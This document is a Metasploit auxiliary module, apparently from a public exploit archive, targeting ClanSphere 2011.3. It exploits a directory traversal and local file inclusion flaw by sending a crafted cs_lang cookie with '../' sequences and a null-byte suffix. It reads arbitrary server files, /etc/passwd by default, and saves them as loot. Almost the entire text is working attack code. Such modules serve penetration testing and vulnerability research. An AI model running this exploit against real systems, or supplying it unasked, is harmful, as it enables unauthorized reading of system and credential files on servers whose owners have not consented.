ClanSphere 2011.3 Local File Inclusion

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ClanSphere 2011.3 Local File Inclusion Vulnerability',  
'Description' => %q{  
This module exploits a directory traversal flaw found in Clansphere 2011.3.  
The application fails to handle the cs_lang parameter properly, which can be  
used to read any file outside the virtual directory.  
},  
'References' =>  
[  
['OSVDB', '86720'],  
['EDB', '22181']  
],  
'Author' =>  
[  
'blkhtc0rp', #Original  
'sinn3r'  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2012-10-23'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']),  
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),  
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])  
])  
end  
  
  
def run_host(ip)  
base = normalize_uri(target_uri.path)  
  
peer = "#{ip}:#{rport}"  
  
print_status("Reading '#{datastore['FILE']}'")  
  
traverse = "../" * datastore['DEPTH']  
f = datastore['FILE']  
f = f[1, f.length] if f =~ /^\//  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(base, "index.php"),  
'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png"  
})  
  
if res and res.body =~ /^Fatal error\:/  
print_error("Unable to read '#{datastore['FILE']}', possibly because:")  
print_error("\t1. File does not exist.")  
print_error("\t2. No permission.")  
print_error("\t3. #{ip} isn't vulnerable to null byte poisoning.")  
  
elsif res and res.code == 200  
pattern_end = " UTC +1 - Load:"  
data = res.body.scan(/\<div id\=\"bottom\"\>\n(.+)\n\x20{5}UTC/).flatten[0].lstrip  
fname = datastore['FILE']  
p = store_loot(  
'clansphere.cms',  
'application/octet-stream',  
ip,  
data,  
fname  
)  
  
vprint_line(data)  
print_good("#{fname} stored as '#{p}'")  
  
else  
print_error("Fail to obtain file for some unknown reason")  
end  
end  
end  
`